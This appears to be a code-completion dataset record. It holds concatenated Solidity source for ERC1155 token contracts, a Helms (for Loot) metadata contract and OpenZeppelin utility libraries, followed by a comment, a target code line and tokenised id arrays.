}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.0;
interface ILoot {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
function getHead(uint256 tokenId) external view returns (string memory);
}
interface ILmart {
function headId(uint256 tokenId) external pure returns (uint256);
function tokenName(uint256 id) external view returns (string memory);
}
interface IRiftData {
function addXP(uint256 xp, uint256 bagId) external;
}
// SPDX-License-Identifier: CC0-1.0
/// @title The Helms (for Loot) Metadata
import "@openzeppelin/contracts/access/Ownable.sol";
import "base64-sol/base64.sol";
import "contracts/LootInterfaces.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
pragma solidity ^0.8.0;
interface IHelmsMetadata {
function uri(uint256 tokenId) external view returns (string memory);
}
contract HelmsMetadata is Ownable, IHelmsMetadata {
string public description;
string public baseUri;
string private imageUriSuffix = ".gif";
string private animationUriSuffix = ".glb";
ILmart private lmartContract;
constructor(ILmart lmart, string memory IpfsUri) Ownable() {
description = "Helms (for Loot) is the first 3D interpretation of the helms of Loot. Adventurers, builders, and artists are encouraged to reference Helms (for Loot) to further expand on the imagination of Loot.";
lmartContract = lmart;
baseUri = IpfsUri;
}
function setDescription(string memory desc) public onlyOwner {
description = desc;
}
function setbaseUri(string calldata newbaseUri) public onlyOwner {
baseUri = newbaseUri;
}
function setUriSuffix(
string calldata newImageUriSuffix,
string calldata newAnimationUriSuffix
) public onlyOwner {
imageUriSuffix = newImageUriSuffix;
animationUriSuffix = newAnimationUriSuffix;
}
function uri(uint256 tokenId) public view override returns (string memory) {
string memory name = lmartContract.tokenName(tokenId);
bytes memory tokenUri = abi.encodePacked(
baseUri,
"/",
Strings.toString(tokenId)
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{ "name": "',
name,
'", ',
'"description": ',
'"Helms (for Loot) is the first 3D interpretation of the helms of Loot. Adventurers, builders, and artists are encouraged to reference Helms (for Loot) to further expand on the imagination of Loot.", ',
'"image": ',
'"',
tokenUri,
imageUriSuffix,
'", '
'"animation_url": ',
'"',
tokenUri,
animationUriSuffix,
'"'
"}"
)
)
)
);
return string(abi.encodePacked("data:application/json;base64,", json));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE_ENCODE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
// read 3 bytes
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
// write 4 characters
mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
function decode(string memory _data) internal pure returns (bytes memory) {
bytes memory data = bytes(_data);
if (data.length == 0) return new bytes(0);
require(data.length % 4 == 0, "invalid base64 decoder input");
// load the table into memory
bytes memory table = TABLE_DECODE;
// every 4 characters represent 3 bytes
uint256 decodedLen = (data.length / 4) * 3;
// add some extra buffer at the end required for the writing
bytes memory result = new bytes(decodedLen + 32);
assembly {
// padding with '='
let lastBytes := mload(add(data, mload(data)))
if eq(and(lastBytes, 0xFF), 0x3d) {
decodedLen := sub(decodedLen, 1)
if eq(and(lastBytes, 0xFFFF), 0x3d3d) {
decodedLen := sub(decodedLen, 1)
}
}
// set the actual output length
mstore(result, decodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 4 characters at a time
for {} lt(dataPtr, endPtr) {}
{
// read 4 characters
dataPtr := add(dataPtr, 4)
let input := mload(dataPtr)
// write 3 bytes
let output := add(
add(
shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)),
shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))),
add(
shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)),
and(mload(add(tablePtr, and( input , 0xFF))), 0xFF)
)
)
mstore(resultPtr, shl(232, output))
resultPtr := add(resultPtr, 3)
}
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
} | List of legendary helm ids with less than 19 greatness and over 19 greatness to help with rarity determination | under19legendaryIds[1] = hex"01131028039119120f7b14d2";
| 1,348,204 | [
1,
682,
434,
7241,
814,
13150,
81,
3258,
598,
5242,
2353,
5342,
18825,
4496,
471,
1879,
5342,
18825,
4496,
358,
2809,
598,
436,
20498,
6328,
367,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3613,
3657,
16292,
814,
2673,
63,
21,
65,
273,
3827,
6,
1611,
3437,
20481,
3672,
5520,
23635,
22343,
74,
27,
70,
3461,
72,
22,
14432,
203,
2,
